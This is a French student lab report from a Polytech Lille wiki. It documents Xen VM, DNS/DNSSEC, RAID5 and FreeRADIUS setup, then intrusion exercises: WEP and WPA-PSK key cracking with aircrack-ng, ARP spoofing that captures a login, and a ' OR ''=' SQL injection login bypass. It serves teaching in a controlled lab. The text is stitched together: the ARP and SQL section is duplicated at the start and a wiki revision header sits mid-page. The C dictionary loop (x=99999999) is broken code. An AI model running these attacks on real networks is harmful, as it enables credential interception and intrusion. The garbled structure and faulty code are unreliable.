Dorade via eth0, son interface ethernet, envoie des réponses ARP non requises à zabeth09 en passant par le gateway, qui examine la légitimité de sa demande qui en réalité ne l'est pas.
root@dorade:/home/pifou# arpspoof -i eth0 -t zabeth09 172.26.145.254
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1

Lors de cette étape toujours en cours, je lance un second terminal.
Je vérifie que dorade est bien routeur et installe wireshark, il permet d'analyser les paquets, le réseau et les protocoles.
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward 1
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/conf/all/rp_filter 0
root@dorade:/home/pifou# wireshark
[[Fichier:Mdp zabeth09.png|800px|thumb|left|Interface eth0]]
 
On voit tous les protocoles de transfert dont celui qui m'a permis de récupérer des informations confidentielles, ici le nom d'utilisateur : pifou et le mot de passe : pasglop.
On peut aussi savoir que je l'ai récupéré par un site de Polytech : http://applications.polytech-lille.fr

=== Intrusion sur un serveur d’application Web ===

Je veux m'introduire sur un site de Polytech honey.plil.info.
Je commence par trouver une requête SQL qui vérifiera la validité de la connexion pour la page d'identification de ce site.
SELECT id FROM users WHERE id='$id' AND pass='$pass';
Puis je dois trouver ce que doit contenir $pass pour que cette requête récupère en fait toutes les lignes de la table utilisateurs.
Le true n'existe pas en SQL, je vais alors en simuler un : ' OR ''='

Pour accéder au site, qui me demande un identifiant et un mot de passe, je procède de cette façon : Nom d'utilisateur : N'importe et mot de passe : ' OR ''='

J'accède au site qui m'affiche la liste des utilisateurs et leur mot de passe
[[Fichier:Honey_Léna.png|380px|thumb|left|Listes des utilisateurs]]
 

== Réalisation ==

=== Sécurisation de données ===

Pour sécuriser mes données, je passe par une redondance matérielle comme le fait déjà Polytech. On évite de tout perdre s'il y a un problème.

Je crée un RAID5 logiciel sur ma VM. Il permet d'écrire les données à la suite sur les disques durs qui sont stockées. Si on perd un disque, les données pourront être reconstituées par les autres toujours fonctionnel.

Sur Capbreton, je créé un disque niveau 5, un seul système de fichier composé de 3 partitions.

Je commence par créer les 3 partitions LVM de 1Go
lvcreate -l1G -n hawker-raid1 storage
lvcreate -l1G -n hawker-raid storage
lvcreate -l1G -n hawker-raid3 storage

Je visualise les disques créés via la commande
vgdisplay
Il existe 3 types de volumes différents : storage, virtual et system.

Je les associe à ma VM en l'éteignant et modifiant le fichier de configuration hawker.cfg en ajoutant :
disk= [ ...
'phy:/dev/virtual/hawker-raid1,xvdc1,w',
'phy:/dev/virtual/hawker-raid2,xvdc2,w',
'phy:/dev/virtual/hawker-raid3,xvdc3,w',
]

Puis je le rallume ma VM et via la commande lsblk, je vois mes 3 disques ajoutés.

Je met en place le disque niveau 5 (RAID5) avec les 3 partitions
mdadm --create /dev/md0 --level=5 --raid-devices 3 /dev/xvdc1 /dev/xvdc2 /dev/xvdc3
Je reprends le protocole que j'ai déjà effectué pour les partitions xvdb en utilisant mkfs, mount et cat. Les partitions sont alors actives.
mkfs /dev/md0
mount /dev/md0 /mnt
cat /proc/mdstat

Comme j'ai déjà fait pour les disques xvdb, je dois imposer le montage de RAID5 à chaque démarrage
/dev/md0 /raid5 ext2 defaults 0 2

Si je stocke des données, en exemple le dossier bind, je les retrouve dans le répertoire raid5. Je vérifie que le système fonctionne et que mes données sont sécurisées.

1er essai : Je commence par commenter la ligne du disque 2 de mon fichier de configuration. Les partitions sont considérées inactives, je repasse par le protocole précédent pour les réactiver et remonter mon disque. Malgré cet incident, on retrouve toutes les données présentes au même endroit.

2ème essai : Je simule la perte du disque 2
cp -a /usr/bin /mnt //Copie de données
dd if=/dev/zero of=toto bs=1024k count=100 //Copier partie ou tout d'un disque

mdadm --set-faulty /dev/md0 /dev/xvdc2 //Perte du fichier disque 2
cat /proc/mdstat //On voit qu'on a plus de partitions
ls -R /mnt //Vérifier qu'on a gardé les fichiers
umount /mnt //Démonter le système de fichier

mdadm --remove /dev/md0 /dev/xvdc2 //Je replace la partitions 2
mdadm --add /dev/md0 /dev/xvdc2
cat /proc/mdstat //On voit qu'il met quelques temps à le récupérer

Encore utilisé à Polytech, on voit un disque gardé au cas où ceux en marche expire. Il gère les fichiers du disque qui va expiré et les gère. Quand on remplace, il replace les fichiers dans celui qui fonctionne.

Je considère la sécurisation de mes données de VM atteinte.

=== Sécurisation WiFi par WPA2-EAP ===

==== Configuration serveur FreeRadius ====

L'objectif est le contrôle par WPA2-EAP de l'accès à la borne WIFI. L'identification sera fera grâce à un serveur FreeRadius, qui permet de centraliser tous les utilisateurs, pour la sécurisation filaire.

Je dois procéder à la configurarion du serveur FreeRadius sur ma machine virtuelle.

Evidemment, je commence par l'installer, en procédant d'abord à une mise à jour.
apt update
apt install freeradius

Puis je passe à la configuration et ajoute un utilisateur dans le fichier /etc/freeradius/3.0/users
pifou Cleartext-Password := "glopglop"

/etc/freeradius/3.0/mods-enabled/eap
eap{
default_eap_type = peap
}

/etc/freeradius/3.0//mods-enabled/mschap
//Décommenter et vérifier
use_mppe = yes
require_encryption = yes
require_strong = yes
//Ajouter
with_ntdomain_hack = yes

Dans le fichier /etc/freeradius/3.0/clients.conf rajouter la borne comme un client qui se connectera sur le server radius:
client access-point { /Nom du client
ipaddr = 10.60.0.100 //Adress IP de la borne
secret = glopglop //Mot secret saisi lors de la configuration
}

Une fois toutes les configurations terminées, j'arrête le serveur. Il faut faire attention car la commande stop n'a pas fonctionné.
service freeradius stop
ps auxwww | grep free
root 18316 0.0 0.0 3084 888 pts/0 S+ 22:49 0:00 grep free
kill 10659
Relancer en mode debug afin de visualiser les requêtes et tentatives de connexions
freeradius -X

==== Configuration des points d'accès WiFi ====

Il faut que j'ajoute un SSID protégé par la méthode WPA2-EAP à la configuration du point d’accès WiFi. Cela implique d’utiliser un nouveau VLAN donc un nouveau réseau IP à router par le routeur Wifi. Il faut aussi configurer le serveur virtuel Xen comme serveur d'identification.

J'accède à la configuration de la borne WiFi
minicom -os
port : /dev/ttyUSB2
Je peux vérifier que je suis sur la bonne borne en arrivant sur ap#

Je passe en mode privilégié et en mode configuration
ap#enable
ap#config term

On met la commande suivante pour :

authentification : vérifier l'identité de l'utilisateur

authorization : pouvoir limiter l'accès à certaines fonctionnalités

accounting : pouvoir enregistrer les actions de l'utilisateur

ap(config)#aaa new-model

Création du serveur radius en prenant mon adresse IP et le mot de passe choisi lors de la configuration du serveur FreeRadius
ap(config)#radius-server host 193.48.57.171 auth-port 1812 acct-port 1813 key glopglop

Définition du groupe de serveur
ap(config)#aaa group server radius radius_lulya

Association du groupe de serveur et du serveur de la VM
ap(config)#server 193.48.57.171 auth-port 1812 acct-port 1813

Définition du login et du groupe de serveur par lequel l'utilisateur passera pour s'authentifier
ap(config)#aaa authentication login eap_lulya group radius_lulya

Définition du SSID protégé par la méthode WPA2-EAP
ap(config)#dot11 ssid SSID_lulya //Reprise du nom Lulya
ap(config-ssid)#vlan 10
ap(config-ssid)#authentication open eap eap_lulya
ap(config-ssid)#authentication network-eap eap_lulya
ap(config-ssid)#authentication key-management wpa

Configuration du Vlan
ap(config)#interface Dot11Radio0
ap(config-if)#encryption vlan 10 mode ciphers aes-ccm tkip
ap(config-if)#ssid SSID_lulya

Création de sous interfaces
ap(config)#interface dot11Radio0.10
ap(config-subif)#encapsulation dot1Q 10
ap(config-subif)#bridge-group 10

ap(config)#interface fast0.10
ap(config-subif)#encapsulation dot1Q 10
ap(config-subif)#bridge-group 10

Ajout SSID dans l'interface Dot11Radio0
ap(config-subif)#interface Dot11Radio0
ap(config-if)#dot11 ssid SSID_lulya

Rendre le SSID visible
ap(config-ssid)#interface Dot11Radio0
ap(config-if)#mbssid
ap(config-if)#dot11 ssid SSID_lulya
ap(config-ssid)#mbssid guest-mode

Je quitte tout en utilisant <code>exit</code>, puis faire un <code>write</code> pour prendre en compte toutes les configurations, pour finir je <code>reload</code>
ap(config)#write
Building configuration...
[OK]

TP sysres IMA2a5 2020/2021 G7

2020-12-14T15:55:36Z

Lchenu : /* Configuration de la VM */

== Partie commune ==
Pour commencer, nous avons divisé le travail concernant l'installation de la maquette réseau. J'ai alors fait équipe avec Thomas et Alexandre pour configurer les 3 routeurs (cf : Wiki Groupe n°6 VITTECOQ Thomas - Partie Commune)

L'objectif est la réalisation d'un système réseau répondant aux protocoles IPV6 et assurant une redondance matérielle.

== Installation de la machine virtuelle Xen ==

=== Création de la VM ===
Je commence par créer la VM sur le serveur commun capbreton, je me connecte alors en ssh
ssh root@capbreton.plil.info

Nom de ma machine : hawker

Adresse IP de la machine : 193.48.57.171

Adresse du routeur : 193.48.57.163

Le répertoire des disques virtuels : /usr/local/xen

xen-create-image est une commande qui permet de créer facilement de nouvelles instances Xen.
xen-create-image --hostname=hawker --ip=193.48.57.171 --gateway=193.48.57.163 --dir=/usr/local/xen –dist=beowulf

J’ai aussi utilisé une seconde méthode qui fonctionne mieux en gardant le nom de ma machine hawker

Le miroir Debian est celui de l’école : http://fr.deb.devuan.org/merged/

La distribution stable courant : http://proxy.polytech-lille.fr:3128

xen-create-image --hostname=hawker --dhcp --dir=/usr/local/xen --dist=ascii --apt_proxy=http://proxy.polytech-lille.fr:3128 --mirror=http://fr.deb.devuan.org/merged/ --force

En lançant un second terminal, je peux suivre le processus d’installation
tail -f /var/log/xen-tools/hawker.log

Lorsque l’installation est terminée, j'obtiens plusieurs informations dont le mot de passe du routeur.

Installation Summary
---------------------
Hostname : hawker
Distribution : ascii
MAC Address : 00:16:3E:A4:65:07
IP Address(es) : dynamic
SSH Fingerprint : SHA256:xxxxxxx (DSA)
SSH Fingerprint : SHA256:xxxxxxx (ECDSA)
SSH Fingerprint : SHA256:xxxxxxx (ED25519)
SSH Fingerprint : SHA256:xxxxxxx (RSA)
Root Password : xxxxxxxxxxxxxxxxxxxxxxxx

Via la commande passwd, j'ai changé le mot de passe par "glopglop"

=== Configuration de la VM ===

Pour commencer, je dois modifier le fichier de configuration de la VM pour donner accès au bridge réseau.
Je récupère le nom du bridge "IMA2a5"
brctl show
bridge name bridge id STP enabled interfaces
'''IMA2a5 8000.34800d508a83 no ether1'''
IMA5sc 8000.34800d508a82 no ether0
L3MRIT 8000.b026289b2c9a no ether2
Trunk 8000.4cd98fa49258 no ether4
bridgeGIS 8000.4cd98fa49258 no vlan502

J'accède au fichier de configuration de ma VM /etc/xen/hawker.cfg
J'ajoute mon adresse MAC donnée précédemment et le bridge IMA2a5.

kernel = '/boot/vmlinuz-4.9.0-6-amd64'
extra = 'elevator=noop'
ramdisk = '/boot/initrd.img-4.9.0-6-amd64'

vcpus = '1'
memory = '1024'

root = '/dev/xvda2 ro'
disk = [
'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',
'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',
]

name = 'hawker'

'''vif = [ 'mac=00:16:3E:A4:65:07, bridge=IMA2a5' ]'''

on_poweroff = 'destroy'
on_reboot = 'restart'
on_crash = 'restart'

J'accède à ma machine virtuelle
xl create /etc/xen/hawker.cfg
xl console hawker

Je crée deux répertoires var et home qui seront sur des partitions LVM de l'hôte
lvcreate -L10G -n hawker-var virtual
lvcreate -L10G -n hawker-home virtual

Je pointe le système de fichier sur les deux nouvelles partitions
mke2fs /dev/virtual/hawker-home
mke2fs /dev/virtual/hawker-var

Les disques sont finalisés, je les connecte à la VM en modifiant le fichier de configuration hawker.cfg.

disk = [
'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',
'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',
''''phy:/dev/virtual/hawker-home,xvdb1,w','''
''''phy:/dev/virtual/hawker-var,xvdb2,w','''
]

Puis je redémarre la VM pour prendre en compte les modifications
xl shutdown hawker
xl create /etc/xen/hawker.cfg

A travers le fichier /etc/fstab, je dois modifier la configuration pour forcer le montage à chaque démarrage.
/dev/xvdb1 /home ext4 defaults 0 2
#/dev/xvdb2 /var ext4 defaults 0 2
A travers c’est deux commandes, j’assure la montée des 2 disques /home et /var à chaque démarrage. Juste avant cette étape pour /var, que je laisse en commentaire, j’ai du assurer le systèmes de fichiers. Il faut bien faire attention, une mauvaise manipulation peut détruire la machine.
mkfs -t ext4 /dev/xvdb2
mount /dev/xvdb2 /mnt
mv /var/* /mnt
blkid Trouver ou afficher les attributs de périphérique bloc
/dev/xvda2: UUID="efa11821-8780-4938-9473-5d217752316e" TYPE="ext4"
/dev/xvda1: UUID="1a3161b3-a90d-4da5-a224-cfc496e70c89" TYPE="swap"
/dev/xvdb1: UUID="5645526d-2cf4-42b5-a4a7-94fdda100ca1" TYPE="ext4"
/dev/xvdb2: UUID="5b49ce5f-8116-4c41-aa25-97536f644803" TYPE="ext4"
vi /etc/fstab
Par la suite, je peux décommenter la ligne et exécuter :
umount /mnt
mount -a
Je vérifie que les disques sont bien montés via la commande db
Filesystem 1K-blocks Used Available Use% Mounted on
udev 483904 0 483904 0% /dev
tmpfs 100712 120 100592 1% /run
/dev/xvda2 4062912 791352 3045464 21% /
tmpfs 5120 0 5120 0% /run/lock
tmpfs 306280 0 306280 0% /dev/shm
'''/dev/xvdb1 10255636 36872 9678092 1% /home'''
'''/dev/xvdb2 10255636 315536 9399428 4% /var'''

On peut vérifier que la VM est prête
xl list
Name ID Mem VCPUs State Time(s)
Domain-0 0 4046 4 r----- 6978.3
boeing 1 256 1 -b---- 185.5
NightHawk 3 1024 1 -b---- 826.8
'''hawker 4 1024 1 -b---- 776.9'''
blackbird 5 256 1 -b---- 640.4
Falcon 6 256 1 -b---- 691.7
rafale 8 256 1 -b---- 606.0
mirage 12 1024 1 -b---- 668.6
alpha-jet 13 256 1 -b---- 591.4
concorde 19 1024 1 -b---- 148.5
oronge 20 256 1 -b---- 536.2
On peut voir que l’état du domaine est r, cela stipule qu’il fonctionne.
Les VM ont un état -b, ce qui valide le fait qu’elles fonctionnent toutes. Au delà des IMA2A5, on voit aussi une des IMA5sc.

== Services Internet ==

=== Configuration du réseau ===

Dès que ma machine virtuelle est prête, je passe en root dessus. Pour permettre l'accès à internet, je configure le réseau /etc/networks/interfaces
auto eth0
iface eth0 inet static
address 193.48.57.171
netmask 255.255.255.240
gateway 193.48.57.163

Je configure alors les interfaces réseau grâce aux définitions du fichier au dessus
ifdown eth0
ifup eth0

Je vérifie que le processus s'est bien déroulé
ip r
default via 193.48.57.163 dev eth0 onlink
193.48.57.160/28 dev eth0 proto kernel scope link src 193.48.57.171
ping 193.48.57.162 (Adresse IP 3560E)

=== Serveur SSH ===
Je fais en sorte que ma MV soit accessible à distance, je configure un serveur ssh. Je modifie alors le fichier de configuration /etc/ssh/ssh_config en modifiant cette ligne :
vi /etc/ssh/sshd_config
PermitRootLogin yes // Permet l'accès direct en root
service ssh restart
Je n'ai alors plus besoin de passer par la commande xl console pour accéder à ma VM, j'utilise directement le ssh.
ssh root@193.48.57.171

=== Serveur DNS ===

Le DNS (Domain Name System) permet d'établir la correspondance entre le nom de domaine d'un site et l'adresse IP où il est hébergé sur le réseau internet. Pour accéder à mon site, je n’aurais plus besoin d’indiquer mon adresse IP mais le nom du site choisi.

Il faut que je configure mon domaine sur gandi.net et en étant root sur ma machine virtuelle hawker.

Je commence donc par acheter un nom de domaine sur le site gandi.net : lulya.space. Je passe par « glue records » utilisé pour associer un hostname (nom de serveur ou DNS) à une adresse IP au registre.
ns.lulya.space
193.48.57.171

Les serveurs de noms permettent d'accéder à un réseau ou du contenu sur internet depuis un nom de domaine.
ns.lulya.space1
ns6.gandi.net

Pour gérer mon serveur DNS, j’utilise la commande bind9 et passe par une configuration en ajoutant et modifiant plusieurs fichiers dans etc/bind.
Le fichier named.conf.options qui gère les options de configuration du DNS :
options {
directory "/var/cache/bind";
dnssec-validation auto;
listen-on-v6 { any; };
allow-transfer { "allowed_to_transfer"; };
};
acl "allowed_to_transfer" {
217.70.177.40/32; //Adresse IP de dns6.gandi.net
};

Puis le fichier named.conf.local pour déclarer les zones associées au domaine:
zone "lulya.space" {
type master;
file "/etc/bind/db.lulya.space";
};

Enfin, le fichier de configuration /etc/bind/db.lulya.space :
$TTL 3600
@ IN SOA ns.lulya.space. postmaster.lulya.space. (
1 ; Version
1800 ; Refresh (30m)
600 ; Retry (10m)
3600 ; Expire (1h)
3600 ) ; Minimum TTL (1h)
@ IN NS ns.lulya.space.
@ IN NS ns6.gandi.net.
ns IN A 192.48.57.171

J’attends quelques minutes puis relance bind9. Mon site http://www.lulya.space est accessible, je peux alors le visualiser en tapant l’adresse sur internet.

Lorsque le DNS est fini d’être configuré, je peux le tester en lançant ping -6 google.fr, je peux voir que cela fonctionne, je considère mon DNS bien configuré.

=== Sécurisation de site web par certificat ===

Je dois passer par une méthode de vérification sur le serveur Web cible. Il existe, je crois, 3 méthodes, j'ai choisi par mail.

Je modifie mon fichier db.lulya.space
Version : 2
IN MX 100 ns
www IN A 193.48.57.171

Je relance le service bind9 et installe le serveur de messagerie PostFix. En lançant la commande mailx, je peux alors vérifier que j'ai bien reçu un mail et l'achat du certificat se finalise.

Gandi fournit une clé hawker.pem et un certificat hawker.crt, je génère une clé : lulya.csr en utilisant l'utilitaire OpenSSL dans le dossier /etc/apache2/certificat
openssl req -nodes -newkey rsa:2048 -sha256 -keyout lulya.key -out lulya.csr

J'achète un certificat sur Gandi en passant par la rubrique Cerificat SSL. Je partage ma clé.csr avec Gandi, il étudie la validité de mon domaine lulya.space, puis choisi ou non de le certifier.

En recontrant un problème, j'ai utilisé une commande servant d'outil de dépannage
apt install strace
strace -f -o open newaliases
strace -f newaliases

=== Sécurisation de serveur DNS par DNSSEC ===

Au delà de mon site sécurisé, je veux avoir toute la chaine de transmission, ce qui évitera la fraude. Je sécurise mon serveur DNS en signant la zone correspondant à mon nom de domaine.
Je débute par l'ajout de l'option dnssec-enable yes dans named.conf.options.

Ensuite, je crée un répertoire lulya.space.dnssec pour y générer des paires de cléfs.
La clé asymétrique de signature de clefs de zone
dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE lulya.space
La clé asymétrique de zone pour les enregistrements
dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE lulya.space

Je renomme les deux paires de clés obtenues en utilisant le nom de la zone comme préfixe et en suffixe :

- la destination de la clef : ksk pour la clef KSK et zks pour la clef ZSK

- puis par le type de clef : .key pour la clef publique ou .private pour la clef privée
mv Klulya.space.+005+11461.key lulya.space-ksk.key
mv Klulya.space.+005+11461.private lulya.space-ksk.private
mv Klulya.space.+005+27882.key lulya.space-zsk.key
mv Klulya.space.+005+27882.private lulya.space-zsk.private
Pour finir, je les place dans un dossier crée /etc/bind/lulya.space.dnssec

Ensuite, j'inclue les clefs publiques dans mon fichier db.lulya.space
$include /etc/bind/lulya.space.dnssec/lulya.space-ksk.key
$include /etc/bind/lulya.space.dnssec/lulya.space-zsk.key

Je signe les enregistrements
dnssec-signzone -o lulya.space -k lulya.space-ksk ../db.lulya.space lulya.space-zsk

Je modifie le fichier named.conf.local pour utiliser db.lulya.space.signed
zone "lulya.space" {
type master;
file "/etc/bind/db.lulya.space.signed";
};

Après avoir finalisé tous les paramètres de mon site www.lulya.space, je vérifie sa configuration sur le site dnsvize.net
On peut voir que tout est bien en place de mon côté. Par contre, il existe un défaut du côté du .space détenu par mon nom de domaine.

[[Fichier:DNS Léna.png|800px|thumb|left|Interface eth0]]
 

== Tests d'intrusion ==

=== Cassage de clef WEP d’un point d’accès WiFi ===

On branche d’abord une clef wifi et je commence à installer le paquetage aircrack-ng.

Je dois trouver le point d’accès : canal et nom des réseaux.

Via airmon-ng, un script permettant d’activer ou de désactiver le mode moniteur d’une carte réseau.

Dans notre cas, la carte Wi-fi se place en observateur du réseau.

Je liste les interfaces disponibles :
root@zabeth09:~# airmon-ng
PHY Interface Driver Chipset
phy0 wlx40a5efd2140c rt2800usb Ralink Technology, Corp. RT5370

Puis, je passe la carte Wifi wlx40a5efd2140c en mode moniteur, espion du réseau sans fil.

root@zabeth09:~# airmon-ng start wlx40a5efd2140c
Interface wlx40a5efd2140cmon is too long for linux so it will be renamed to the old style (wlan#) name.
(mac80211 monitor mode vif enabled on [phy0]wlan0mon
(mac80211 station mode vif disabled for [phy0]wlx40a5efd2140c)

Le nom de l'interface a été modifié, considéré trop long et wlan0mon a été choisi.

En relançant airmon-ng, on peut voir que le nom de l’interface a bien été changé
root@zabeth09:~# airmon-ng
PHY Interface Driver Chipset
phy0 wlan0mon rt2800usb Ralink Technology, Corp. RT5370

Je scanne le réseau Wifi, j’obtiens toutes les trames Wifi sur tous les canaux
root@zabeth09:~# airmon-ng –encrypt wep wlan0mon

Beaucoup d'informations s'affichent et je visualise cracotte07 dans la liste pour ses informations.

root@zabeth09:~# airodump-ng --channel 9 --bssid 04:DA:D2:9C:50:56 wlan0mon
Tous les cracotte se trouvent sur channel 9 et le SSID de cracotte07 est 04:DA:D2:9C:50:56

Je récupère toutes les données qui transitent sur ce channel en me concentrant uniquement sur les paquets échangés avec cracotte07.
airodump-ng -w lcrack -c 9 --bssid 04:DA:D2:9C:50:56 wlan0mon

Après avoir suffisamment de trames volées, je lance un autre terminal pour décrypter la clé WEP
root@zabeth09:~# aircrack-ng lcrack-01.cap
Opening lcrack-01.capse wait…

Il faut attendre plusieurs minutes et on obtient la clé, on peut voir qu’il en a testé 833 avant.

Aircrack-ng 1.5.2
[00:00:00] Tested 833 keys (got 73079 IVs)
KB depth byte(vote)
0 0/ 17 F1(93696) BD(84480) E7(84224) 6F(83456) 12(82176)
1 0/ 1 91(103680) 34(83968) 54(83456) B3(83456) B9(82432)
2 2/ 2 60(83200) 3A(82688) 7E(82176) 12(81920) 0E(81664)
3 15/ 3 B1(79872) 06(79616) 11(79616) 5B(79360) B2(79104)
4 0/ 1 74(103168) 8D(85248) 03(82176) 7A(82176) 21(81664)
KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:09:99:99:99 ]
Decrypted correctly: 100%

=== Cassage de mot de passe WPA-PSK par force brute ===
En utilisant la même méthode, on peut craquer une autre clef WPA.
root@zabeth09:~# airodump-ng -w lkrack -c 4 --bssid 00:14:1B:60:8C:26 wlan0mon
-rw-r--r-- 1 root root 88K Nov 4 17:11 lkrack-03.cap

Le craquage doit se faire avec l’aide d’un dictionnaire. On suppose que la clef WPA est un nombre sur 8 chiffres, je vais donc créer un dictionnaire de ce format via un code en langage c.

int main(void){
int x;
for(x=0; x=99999999; x++){
printf("%08d\n",x);
}
}

Je compile main.c, ça consiste en une série d'étapes de transformation du code source en du code machine exécutable. La série de nombres doit se retrouver alors dans mon fichier cible dico.
root@zabeth09:~# gcc -Wall -o dico main.c

Je vérifie que cette commande s'est bien déroulée, en vérifiant le début et la fin du fichier dico.
root@zabeth09:~# ./dico | more
00000000
00000001
00000002
00000003
00000004
root@zabeth09:~# ./dico | tail
99999995
99999996
99999997
99999998
99999999

Je finis par les transférer dans un fichier .txt
root@zabeth09:~# ./dico > dico.txt

Je choisis de lancer le traitement sur 2 pc plus puissant, normalement 5 fois plus, zabeth22 et zabeth26, que mon pc zabeth09.
Je commence à exécuter le traitement sur le fichier que je viens de créer dico.txt comportant tous les nombres de 0 à 9999 9999.
root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/
root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/lkrack-03.cap > /tmp/result

En remarquant le temps que cela va prendre, je décide de couper ce fichier en 2 et de lancer un autre traitement mais seulement sur les nombres à partir de 4999 9999. L'exécution est censée prendre 2 fois moins de temps que celle sur zabeth22.
root@zabeth09:~# split -n 2 dico.txt
J’obtiens alors 2 fichiers xaa et xab, comportant les 2 moitiés de dico
root@zabeth09:~# ls -lhrt
-rw-r--r-- 1 root root 101 Nov 4 17:09 main.c
-rwxr-xr-x 1 root root 17K Nov 4 17:09 dico
-rw-r--r-- 1 root root 430M Nov 4 17:15 xaa
-rw-r--r-- 1 root root 430M Nov 4 17:15 xab
En tapant la commande tail, je vérifie que celui que je veux est bien xab

Puis je passe sur zabeth26 et je passe au même procédé que sur zabeth22
root@zabeth26:~# aircrack-ng -w /tmp/xab /tmp/lkrack-03.cap > /tmp/result

Pour finir, je fais en sorte de voir en direct les deux calculs de correction de clé (défilement des nombres)
root@zabeth22:~# cat /tmp/result
Aircrack-ng 1.5.2
[00:09:13] 10260165/102795810 keys tested (3427.05 k/s)
Time left: 7 hours, 30 minutes, 1 second 9.98%
KEY FOUND! [ 10255555 ]

La clé se trouvait dans les 1er 10 % de dico.
On peut lire le temps qu’il lui restait pour tout analyser, ça confirme que c’était une bonne idée de lancer le second traitement.
Il est logique que celui-ci nous donne aucune clé en réponse.

root@zabeth26:~# cat /tmp/result
[00:46:05] 50000000/51397904 keys tested (3498.19 k/s)
Time left: 0 seconds 97.28%
KEY NOT FOUND
Anecdote, le traitement est considéré terminé au vu du temps qu'il ne reste pas, mais il est tout de même écrit 97.28% d'analyse effectuée. Il existe souvent des petites erreurs de suivis des ordinateurs, mais non critiques.

=== Attaque de type "homme au milieu" par usurpation ARP ===

J'ai besoin du paquetage dsniff qui contient plusieurs outils pour écouter ou créer du trafic réseau :

- arpspoof : envoie des réponses ARP non requises et potentiellement falsifiées

- dnsspoof : crée des réponses à des requêtes d'adresse ou de pointeur DNS arbitraires sur le réseau local

- dsniff : écoute de mots de passe pour différents protocoles

Je vérifie d’abord que dorade est bien configuré au niveau du réseau.
root@dorade:/home/pifou# cat /etc/network/interfaces
# This is an autoconfigured IPv6 interface
iface eth0 inet static
address 172.26.145.101
netmask 255.255.255.0
gateway 172.26.145.254

Je récupère son interface ethernet, la commande liste toutes les interfaces avec les informations nécessaires
root@dorade:/home/pifou# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000

Une commande permet de voir la table de routage.
root@dorade:/home/pifou# ip r
default via 172.26.145.254 dev eth0 onlink
169.254.0.0/16 dev eth0 scope link metric 1000
172.26.145.0/24 dev eth0 proto kernel scope link src 172.26.145.101

Je vérifie qu’il est bien relié au réseau en pingant zabeth09.
root@dorade:/home/pifou# ping zabeth09
PING zabeth09(2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9)) 56 data bytes
64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=1 ttl=64 time=0.914 ms
64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=2 ttl=64 time=0.813 ms
--- zabeth09 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 0.813/0.863/0.914/0.058 ms

En vérifiant toutes ces informations, je valide le fait qu’il est bien configuré au réseau et peut communiquer avec tous les équipements dont zabeth09.

Je transforme dorade en routeur, ce mode est géré par la variable noyau /proc/sys/net/ipv4/ip_forward.

- La commande retourne la valeur 0 : l'IP Forwarding n'est pas activé.

- La commande retourne la valeur 1 : l'IP Forwarding est activé.
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward 0
Dorade n’est pas en mode routeur, je passe alors le noyau à 1
root@dorade:/home/pifou# echo 1 > /proc/sys/net/ipv4/ip_forward

J'utilise la commande arpsppof, en prenant les informations collectées au début.
Dorade via eth0, son interface ethernet, envoie des réponses ARP non requises à zabeth09 en passant par le gateway, qui examine la légitimité de sa demande qui en réalité ne l'est pas.
root@dorade:/home/pifou# arpspoof -i eth0 -t zabeth09 172.26.145.254
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1

Lors de cette étape toujours en cours, je lance un second terminal.
Je vérifie que dorade est bien routeur et installe wireshark, il permet d'analyser les paquets, le réseau et les protocoles.
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward 1
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/conf/all/rp_filter 0
root@dorade:/home/pifou# wireshark
[[Fichier:Mdp zabeth09.png|800px|thumb|left|Interface eth0]]
 
On voit tous les protocoles de transfert dont celui qui m'a permis de récupérer des informations confidentielles, ici le nom d'utilisateur : pifou et le mot de passe : pasglop.
On peut aussi savoir que je l'ai récupéré par un site de Polytech : http://applications.polytech-lille.fr

=== Intrusion sur un serveur d’application Web ===

Je veux m'introduire sur un site de Polytech honey.plil.info.
Je commence par trouver une requête SQL qui vérifiera la validité de la connexion pour la page d'identification de ce site.
SELECT id FROM users WHERE id='$id' AND pass='$pass';
Puis je dois trouver ce que doit contenir $pass pour que cette requête récupère en fait toutes les lignes de la table utilisateurs.
Le true n'existe pas en SQL, je vais alors en simuler un : ' OR ''='

Pour accéder au site, qui me demande un identifiant et un mot de passe, je procède de cette façon : Nom d'utilisateur : N'importe et mot de passe : ' OR ''='

J'accède au site qui m'affiche la liste des utilisateurs et leur mot de passe
